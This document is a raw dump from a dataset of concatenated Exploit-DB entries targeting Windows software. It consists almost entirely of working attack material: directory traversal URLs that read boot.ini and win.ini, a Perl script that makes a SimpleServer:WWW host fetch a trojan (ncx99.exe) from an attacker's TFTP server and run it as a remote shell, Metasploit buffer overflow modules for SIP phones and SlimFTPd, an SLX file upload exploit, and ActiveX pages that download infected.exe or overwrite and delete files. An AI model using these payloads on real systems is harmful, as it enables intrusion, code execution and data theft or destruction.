deardaniel/secdata-raw huggingface dataset:
Exploit-DB #17381
Description: Simple Web Server 1.2 - Directory Traversal
Type: remote
Platform: windows
Date: 2011-06-10
Author: AutoSec Tools

Exploit:
------------------------------------------------------------------------
Software................Simple web-server 1.2
Vulnerability...........Directory Traversal
Threat Level............Serious (3/5)
Download................http://www.storecalc.com
Discovery Date..........6/1/2011
Tested On...............Windows XP SP3 EN
------------------------------------------------------------------------
Author..................AutoSec Tools
Site....................http://www.autosectools.com/
Email...................John Leitch <john@autosectools.com>
------------------------------------------------------------------------


--Description--

A directory traversal vulnerability in Simple web-server 1.2 can be
exploited to read files outside of the web root.


--PoC--

http://localhost/%5c../%5c../%5c../%5c../%5c../%5c../%5c../%5c../%5c../%5c../%5c../%5c../%5c../%5c../%5c../%5c../boot.ini
Exploit-DB #25600
Description: simplecam 1.2 - Directory Traversal
Type: remote
Platform: windows
Date: 2005-05-04
Author: Donato Ferrante

Exploit:
source: https://www.securityfocus.com/bid/13495/info

SimpleCam is prone to a directory traversal vulnerability that could allow attackers to read files outside the Web root. 

http://example.com/..\..\..\..\..\..\..\..\..\..\..\..\windows\system.ini
Exploit-DB #21039
Description: SimpleServer:WWW 1.0.7/1.0.8/1.13 - Hex Encoded URL Directory Traversal
Type: remote
Platform: windows
Date: 2001-07-26
Author: THRAN

Exploit:
source: https://www.securityfocus.com/bid/3112/info

SimpleServer:WWW is a freely available HTTP daemon available from AnalogX. It is designed for simplicity of operation.

A problem with the web server could allow a remote user to execute arbitrary commands, and potentially gain local access to the system. The problem is in the validation of URLs that have been encoded in hex. By encoding an URL in hex, it is possible to bypass any filtering for directory traversal, and execute arbitrary programs on the local system. 

# SimpleServer:WWW Command Execution Vulnerability
# CODED BY THRAN
# CDLNI 2001
# www.cdlni.com
# You may distribute this code freely
# Iam in no way responsible for this code, its for testing use only
# This script uploads ncx99.exe to the target server and executes it
# simply telnet to target computer on port 99 after executing the trojan
# You need a tftp server listening on a remote computer
# ncx99.exe needs to be in the base dir of the tftp server
# <<<<<DO NOT FORGET TO ENTER A TFTP SERVER INSIDE THIS SCRIPT! :) >>>>>> (yes including the () part :) )
# Greetz go out to Zerostealth, Creeping Death, Hellb0und, Shell (Warezd00d :) ) Kim Lloyd, and all my other buds
# btw, dont bug me with my sloppy coding, and dont even ask me why I had to create 2 socket handlers :/
# bye, have fun
#!/usr/bin/perl

use IO::Socket;
print "Enter server IP:";
$server=<STDIN>;
endl;
print "Enter remote port:";
$port=<STDIN>;
endl;
print "Uploading file... this may take a minute";
endl;
endl;
$remote = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>$server, PeerPort=>$port, Reuse=>1) or die "Can't connect to \"$server\"\n";
$remote->autoflush(1);
# Here we write the actual HTTP request to the server, had to encode the entire url
$url="GET /cgi-bin/%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%57%49%4E%4E%54%2F%73%79%73%74%65%6D%33%32%2Ftftp%20-i%20(ENTER THE IP OF A TFTP SERVER HERE)%20GET%20ncx99.exe%20c%3a%5c%5cwinnt%5c%5csystem32%5c%5cblab%2eexe HTTP/1.0 \n\n";
print $url;
print $remote $url;
# receive everything the server sends and print it to the screen
while (<$remote>) { print }
close $remote;
endl;
endl;
endl;
print "Executing the trojan... If the screen seems to hang, the trojan should work";
$remote2 = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>$server, PeerPort=>$port, Reuse=>1) or die "Can't connect to \"$server\"\n";
$remote2->autoflush(1);
#Simply executing the trojan, of course the entire url is still encrypted :)
print $remote2 "GET /cgi-bin/%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%57%49%4E%4E%54%2F%73%79%73%74%65%6D%33%32%2Fblab HTTP/1.0 \n\n";
# receive everything the server sends and print it to the screen
while (<$remote2>) { print }
close $remote2;
Exploit-DB #32052
Description: Sina DLoader Class - ActiveX Control 'DonwloadAndInstall' Method Arbitrary File Download
Type: remote
Platform: windows
Date: 2008-07-14
Author: Symantec

Exploit:
source: https://www.securityfocus.com/bid/30223/info

Sina DLoader is prone to a vulnerability that can cause malicious files to be downloaded and saved to arbitrary locations on an affected computer.

Attackers may exploit this issue to overwrite sensitive files with malicious data that will compromise the affected computer. Other attacks are possible. 

<OBJECT id=install classid=clsid:78ABDC59-D8E7-44D3-9A76-9A0918C52B4A></OBJECT> <SCRIPT> var YEtYcJsR1="http://example.com/infected.exe"; install["DownloadAndInstall"](YEtYcJsR1); </SCRIPT>
Exploit-DB #16351
Description: SIPfoundry sipXezPhone 0.35a - CSeq Field Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2010-06-15
Author: Metasploit

Exploit:
##
# $Id: sipxezphone_cseq.rb 9525 2010-06-15 07:18:08Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GreatRanking

	include Msf::Exploit::Remote::Udp
	include Msf::Exploit::Remote::Seh

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'SIPfoundry sipXezPhone 0.35a CSeq Field Overflow',
			'Description'    => %q{
					This module exploits a buffer overflow in SIPfoundry's
				sipXezPhone version 0.35a. By sending an long CSeq header,
				a remote attacker could overflow a buffer and execute
				arbitrary code on the system with the privileges of
				the affected application.
			},
			'Author'         => 'MC',
			'Version'        => '$Revision: 9525 $',
			'References'     =>
				[
					['CVE', '2006-3524'],
					['OSVDB', '27122'],
					['BID', '18906'],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Payload'        =>
				{
					'Space'    => 400,
					'BadChars' => "\x00\x0a\x20\x09\x0d",
					'StackAdjustment' => -3500,
				},
			'Platform'       => 'win',

			'Targets'        =>
				[
					['sipXezPhone 0.35a Universal', { 'Ret' => 0x1008e853 } ],
				],

			'Privileged'     => false,

			'DisclosureDate' => 'Jul 10 2006',

			'DefaultTarget' => 0))

		register_options(
			[
				Opt::RPORT(5060)
			], self.class)
	end

	def exploit
		connect_udp

		print_status("Trying target #{target.name}...")

		user   = rand_text_english(2, payload_badchars)
		port   = rand(65535).to_s
		filler = rand_text_english(260, payload_badchars)
		seh    = generate_seh_payload(target.ret)
		filler[252, seh.length] = seh

		sploit  =   "INVITE sip:#{user}\@127.0.0.1 SIP/2.0" + "\r\n"
		sploit  <<  "To: <sip:#{rhost}:#{rport}>" + "\r\n"
		sploit  <<  "Via: SIP/2.0/UDP #{rhost}:#{port}" + "\r\n"
		sploit  <<  "From: \"#{user}\"<sip:#{rhost}:#{port}>" + "\r\n"
		sploit  <<  "Call-ID: #{(rand(100)+100)}#{rhost}" + "\r\n"
		sploit  <<  "CSeq: " + filler + "\r\n"
		sploit  <<  "Max-Forwards: 20" +  "\r\n"
		sploit  <<  "Contact: <sip:127.0.0.1:#{port}>" + "\r\n\r\n"

		udp_sock.put(sploit)

		handler
		disconnect_udp
	end

end
Exploit-DB #16352
Description: SIPfoundry sipXphone 2.6.0.27 - CSeq Buffer Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2010-06-15
Author: Metasploit

Exploit:
##
# $Id: sipxphone_cseq.rb 9525 2010-06-15 07:18:08Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GreatRanking

	include Msf::Exploit::Remote::Udp
	include Msf::Exploit::Remote::Seh

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'SIPfoundry sipXphone 2.6.0.27 CSeq Buffer Overflow',
			'Description'    => %q{
					This module exploits a buffer overflow in SIPfoundry's
				sipXphone 2.6.0.27. By sending an overly long CSeq value,
				a remote attacker could overflow a buffer and execute
				arbitrary code on the system with the privileges of
				the affected application.
			},
			'Author'         => 'MC',
			'Version'        => '$Revision: 9525 $',
			'References'     =>
				[
					[ 'CVE', '2006-3524' ],
					[ 'OSVDB', '27122' ],
					[ 'BID', '18906' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Payload'        =>
				{
					'Space'    => 400,
					'BadChars' => "\x00\x0a\x20\x09\x0d",
					'StackAdjustment' => -3500,
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'SIPfoundry sipXphone 2.6.0.27 Universal', { 'Ret' => 0x08016aac } ],
				],
			'Privileged'     => false,
			'DisclosureDate' => 'Jul 10 2006',
			'DefaultTarget'  => 0))

		register_options(
			[
				Opt::RPORT(5060)
			], self.class)
	end

	def exploit
		connect_udp

		user   = rand_text_english(2, payload_badchars)
		port   = rand(65535).to_s
		filler = rand_text_english(212, payload_badchars)
		seh    = generate_seh_payload(target.ret)
		filler[204, seh.length] = seh

		sploit  =   "INVITE sip:#{user}\@127.0.0.1 SIP/2.0" + "\r\n"
		sploit  <<  "To: <sip:#{rhost}:#{rport}>" + "\r\n"
		sploit  <<  "Via: SIP/2.0/UDP #{rhost}:#{port}" + "\r\n"
		sploit  <<  "From: \"#{user}\"<sip:#{rhost}:#{port}>" + "\r\n"
		sploit  <<  "Call-ID: #{(rand(100)+100)}#{rhost}" + "\r\n"
		sploit  <<  "CSeq: " + filler + "\r\n"
		sploit  <<  "Max-Forwards: 20" +  "\r\n"
		sploit  <<  "Contact: <sip:127.0.0.1:#{port}>" + "\r\n\r\n"

		print_status("Trying target #{target.name}...")

		udp_sock.put(sploit)

		handler
		disconnect_udp

	end

end
Exploit-DB #6690
Description: Skype Extension for Firefox Beta 2.2.0.95 - Clipboard Writing
Type: remote
Platform: windows
Date: 2008-10-07
Author: irk4z

Exploit:
<!---------------------------------------------------------------------------
 Skype extension for Firefox BETA 2.2.0.95 Clipboard Writing Vulnerability PoC
 download: https://developer.skype.com/SkypeToolbars
 
 Author: irk4z[at]yahoo.pl
 homepage: http://irk4z.wordpress.com/
 
 greets: all friends 
---------------------------------------------------------------------------->
<a href="#" onclick="check_it();" >test it!</a>


<script type="text/javascript">

function copy_to_clipboard( text ){
	if (skype_tool) {
		var copy_it = text + '\0+'; //use null byte to copy value, because '+' char must be in string
		skype_tool.copy_num( copy_it );
	}
}

function check_it(){
	//copy_to_clipboard('malicious text!!!!!!!!!!!\n\n\n!!');
	//copy_to_clipboard('http://irk4z.wordpress.com/');
	copy_to_clipboard('http://malicious.link.to.bad.page/');
	alert('Done! Check your clipboard!');
}

</script>

# milw0rm.com [2008-10-07]
Exploit-DB #16729
Description: SlimFTPd - 'LIST' Concatenation Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2010-10-05
Author: Metasploit

Exploit:
##
# $Id: slimftpd_list_concat.rb 10559 2010-10-05 23:41:17Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GreatRanking

	include Msf::Exploit::Remote::Ftp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'SlimFTPd LIST Concatenation Overflow',
			'Description'    => %q{
					This module exploits a stack buffer overflow in the SlimFTPd
				server. The flaw is triggered when a LIST command is
				received with an overly-long argument. This vulnerability
				affects all versions of SlimFTPd prior to 3.16 and was
				discovered by Raphael Rigo.
			},
			'Author'         => [ 'Fairuzan Roslan <riaf [at] mysec.org>' ],
			'License'        => BSD_LICENSE,
			'Version'        => '$Revision: 10559 $',
			'References'     =>
				[
					[ 'CVE', '2005-2373'],
					[ 'OSVDB', '18172'],
					[ 'BID', '14339'],
				],
			'Privileged'     => false,
			'Payload'        =>
				{
					'Space'    => 490,
					'BadChars' => "\x00\x0a\x0d\x20\x5c\x2f",
					'StackAdjustment' => -3500,
				},
			'Platform'       => [ 'win' ],
			'Targets'        =>
				[
					[
						'SlimFTPd Server <= 3.16 Universal',
						{
							'Ret'      => 0x0040057d,
						},
					],
				],
			'DisclosureDate' => 'Jul 21 2005',
			'DefaultTarget' => 0))
	end

	def exploit
		connect_login

		print_status("Trying target #{target.name}...")

		buf          = make_nops(511)
		buf[10, payload.encoded.length] = payload.encoded
		buf[507, 4] = [ target.ret ].pack('V')

		send_cmd( ['XMKD', '41414141'], true );
		send_cmd( ['CWD', '41414141'], true );
		send_cmd( ['LIST', buf], false )

		handler
		disconnect
	end

end
Exploit-DB #583
Description: SLX Server 6.1 - Arbitrary File Creation
Type: remote
Platform: windows
Date: 2004-10-18
Author: Carl Livitt

Exploit:
#!/usr/bin/perl
#
# Proof of concept exploit: Arbitrary file creation for SLX server 6.1
#
# Written by Carl Livitt, Agenda Security Services, June 2004.
#
# This exploit abuses the ProcessQueueFile command on SLX 6.1 (others?)
servers
# to create arbitrary files on the filesystem of the SLX server. By
using
# directory traversal, it is possible to escape from the Queue directory
and
# write anywhere on the SLX server's filesystem.
#

use IO::Socket;

print "slx_uploader - Uploads arbitrary files to Sage SalesLogix
servers.\n";
print "By Carl Livitt @ Agenda Security Services, June 2004\n\n";

if($#ARGV!=2) {
      print "Syntax: $0 host filename_to_create file_to_upload\n\n";
      print "Example:\n";
      print "  $0 10.0.0.100
\\\\winnt\\\\system32\\\\drivers\\\\etc\\\\hosts evil.txt\n\n";
      print "The above example would upload the local file 'evil.txt'
to the SLX\n";
      print "server on 10.0.0.100, overwriting the existing hosts
file.\n";
      print "It is possible to upload binary files, e.g. executables,
with this exploit.\n\n";

      exit(1);
} else {
      $host=$ARGV[0];
      $create_file=$ARGV[1];
      $upload_file=$ARGV[2];
}

if((stat($upload_file))[7] > 4096) {
      print "[*] Error! Files to be uploaded must be less than 4k in
size.\n\n";
      exit(1);
}

print "[+] Building payload\n";
$contentLen=43 + length($create_file);
$exploit="\x00"x10 . chr($contentLen) . "\x00"x3 .
"ProcessQueueFile\x00" . "..\\"x8 . "$create_file" . "\x00"x6;

open(UPLOAD, '<', $upload_file) || die "Could not open local file
$upload_file\n";

while(($line=<UPLOAD>)) {
      $exploit.=$line;
}

close(UPLOAD);

print "[+] Connecting to server $host:1707\n";
$sock=IO::Socket::INET->new("$host:1707") || do {print "[-] Could not
connect to server\n"; exit(1); };

print "[+] Sending exploit payload\n";
send($sock,$exploit,0);

print "[+] Waiting for response\n";
$sock->recv($data,1024,0);

if($data =~ /Received/) {
      print "[+] Exploit successful\n";
} else {
      print "[*] Exploit may not have worked.\n";
}

$sock->shutdown(2);

# milw0rm.com [2004-10-18]
Exploit-DB #15358
Description: SmallFTPd 1.0.3 - Directory Traversal
Type: remote
Platform: windows
Date: 2010-10-31
Author: Yakir Wizman

Exploit:
#     _             ____  __            __    ___ 
#    (_)____ _   __/ __ \/ /_____  ____/ /  _/_/ |
#   / // __ \ | / / / / / //_/ _ \/ __  /  / / / /
#  / // / / / |/ / /_/ / ,< /  __/ /_/ /  / / / / 
# /_//_/ /_/|___/\____/_/|_|\___/\__,_/  / /_/_/  
#                   Live by the byte     |_/_/  
#
# Members:
#
# Pr0T3cT10n
# -=M.o.B.=-
# TheLeader
# Sro
#
# Contact: inv0ked.israel@gmail.com
#
# -----------------------------------
# SmallFTPD is vulnerable for a path traversal, the following will explain you how to read  files
# The vulnerability allows an unprivileged attacker to read files whom he has no permissions to.
# The vulnerable FTP command are:
# * GET 	- Read File
#-----------------------------------
# Vulnerability Title: SmallFTPD v1.0.3 Remote Directory Traversal Vulnerability
# Date: 31/10/2010
# Author: Pr0T3cT10n
# Software Link: http://sourceforge.net/projects/smallftpd/files/smallftpd/smallftpd-1.0.3-fix/smallftpd-1.0.3-fix.zip/download
# Affected Version: 1.0.3
# Tested on Windows XP Hebrew, Service Pack 3
# ISRAEL, NULLBYTE.ORG.IL
###
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\Admin>ftp 127.0.0.1
Connected to 127.0.0.1.
220- smallftpd 1.0.3
220- check http://smallftpd.free.fr for more information
220 report bugs to smallftpd@free.fr
User (127.0.0.1:(none)): test
331 User name okay, password required.
Password:
230 User logged in.
ftp> get ../../boot.ini
200 Port command successful.
150 Data connection ready.
226 Transfer complete.
ftp: 211 bytes received in 0.00Seconds 211000.00Kbytes/sec.
ftp> bye
221 Good bye.

C:\Documents and Settings\Admin>type boot.ini
[boot loader]
timeout=30
default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS
[operating systems]
multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft Windows XP Professional"
Exploit-DB #15048
Description: SmarterMail 7.1.3876 - Directory Traversal
Type: remote
Platform: windows
Date: 2010-09-19
Author: sqlhacker

Exploit:
# Note: Fixed by the vendor in version 7.2.3925
# http://www.smartertools.com/smartermail/releasenotes/v7.aspx

  Vendor: smartertools.com SmarterMail 7.x (7.1.3876) | Bug : Directory
Traversal, OS Command Injection, Other Critcal Vulns
      ########################################################################

# Vendor: smartertools.com SmarterMail 7.x (7.1.3876)
# Date: 2010-09-12
# Author : sqlhacker – http://cloudscan.me
# Thanks to : Burp Suite Pro - engagement tool
# : FuzzDB
# Contact : h02332@gmail.com
# Home : http://cloudscan.me
# Dork : insite: SmarterMail Enterprise 7.1
# Bug : Directory Traversal, OS Command Injection, Other Critcal Vulns
# Tested on : SmarterMail 7.x (7.1.3876) // Windows 2008 /64/R2
# Vendor Contact - August 14, 2010
# -Multiple email exchanges with Vendor thru Labor Day 2010
# - Vendor took no action 9/1/2010
# - Public Disclosure with Workaround Solution Provided 9-4-2010
########################################################################
Source URL
http://cloudscan.blogspot.com/2010/09/smarter-stats-533819-file-fuzzing.html

The default installation of SmarterMail is vulnerable to 1 (or more) of the
file fuzzing types contained within FuzzDB and Burp Suite Pro 1.3.08 as a
baseline analysis for exploit surface modeling.

Reduced to exploits, Directory Traversal, OS Injection and Execution.
Initial Exploit Requires user-level privs.

A malicious user seeking to exploit Browser Clients can launch attacks from
the User Home / Public Web Directory utilizing the SSL Certificate of the
Host Provider.
A malicious user seeking to exploit the Host Server can launch attacks as
Local File Inclusion or Remote File Inclusion and perform Operating System
Injections and Execution.
A malicious user can read and write directories, files and perform malicious
operations due to the default configuration of smartermail.


This is reduced to:   GET {Vulnerable SmarterMail
Site}/path/*payload*relative/path/to/target/file/
..%255c
.%5c../..%5c
/..%c0%9v../
/..%c0%af../
/..%255c..%255c
../../../../../../win.ini
../../../../../../SmarterMail/ExploitShells
../../../../../../SmarterMail/{Domain}/{(l)uzername)/PubPayloadDir/logo_25.jpg%../%../somewhere
to read/write
A workaround is posted in the Source URL
http://cloudscan.blogspot.com/2010/09/smarter-stats-533819-file-fuzzing.html
Exploit-DB #33207
Description: SmartVMD 1.3 - ActiveX Control 'VideoMovementDetection.dll' Remote Buffer Overflow
Type: remote
Platform: windows
Date: 2009-09-01
Author: optix hacker

Exploit:
source: https://www.securityfocus.com/bid/36217/info

SmartVMD ActiveX control is prone to a buffer-overflow vulnerability because the application fails to adequately check boundaries on user-supplied input.

An attacker can exploit this issue to execute arbitrary code in the context of the application using the ActiveX control (typically Internet Explorer). Failed attacks will likely cause denial-of-service conditions.

SmartVMD 1.3 is vulnerable; other versions may also be affected.

<object classid='clsid:E3462D53-47A6-11D8-8EF6-DAE89272743C' id='test'></object> <input language=VBScript onclick=aidi() type=button value='test'> <script language='vbscript'> Sub aidi buff = String (9000, "a") test.StartVideoSaving (buff) End Sub </script>
Exploit-DB #7827
Description: SmartVmd ActiveX 1.1 - Remote File Deletion
Type: remote
Platform: windows
Date: 2009-01-19
Author: Houssamix

Exploit:
<HTML>
<BODY>

<b>   
	Author : Houssamix    <br/>  <br/>  <br/>

   	SmartVmd ActiveX V 1.1 remote file deletion exploit    <br/>

	download : http://www.smartvmd.com/setup/SetupActiveXVmd.msi  <br/>

	Note : StartVideoSaving() insecure method allowed us to delete files in pc vitime  <br/>

<b/>


<object id=hsmx classid="clsid:{E3462D53-47A6-11D8-8EF6-DAE89272743C}"></object>

<SCRIPT>
/*

Report for Clsid: {E3462D53-47A6-11D8-8EF6-DAE89272743C}
RegKey Safe for Script: Faux
RegKey Safe for Init: Faux
Implements IObjectSafety: Vrai
IDisp Safe:  Safe for untrusted: caller  

*/
function hehe()
 {
     File = "c:\\hsmx.txt"
   hsmx.StartVideoSaving(File)
 }

</SCRIPT>
<input language=JavaScript onclick=hehe() type=button value="execute exploit"><br>
</body>
</HTML>

# milw0rm.com [2009-01-19]
Exploit-DB #7826
Description: SmartVmd ActiveX 1.1 - Remote File Overwrite
Type: remote
Platform: windows
Date: 2009-01-19
Author: Houssamix

Exploit:
<HTML>
<BODY>

<b>   
	Author : Houssamix    <br/>  <br/>  <br/>

   	SmartVmd ActiveX v 1.1 remote File Overwrite Exploit   <br/>

	download : http://www.smartvmd.com/setup/SetupActiveXVmd.msi  <br/>
<b/>


<object id=hsmx classid="clsid:{E3462D53-47A6-11D8-8EF6-DAE89272743C}"></object>

<SCRIPT>
/*

Report for Clsid: {E3462D53-47A6-11D8-8EF6-DAE89272743C}
RegKey Safe for Script: Faux
RegKey Safe for Init: Faux
Implements IObjectSafety: Vrai
IDisp Safe:  Safe for untrusted: caller  

*/
function hehe()
 {
     File = "c:\\windows\\system_.ini"
   hsmx.SaveMaskToFile(File)
 }

</SCRIPT>
<input language=JavaScript onclick=hehe() type=button value="execute exploit"><br>
</body>
</HTML>

# milw0rm.com [2009-01-19]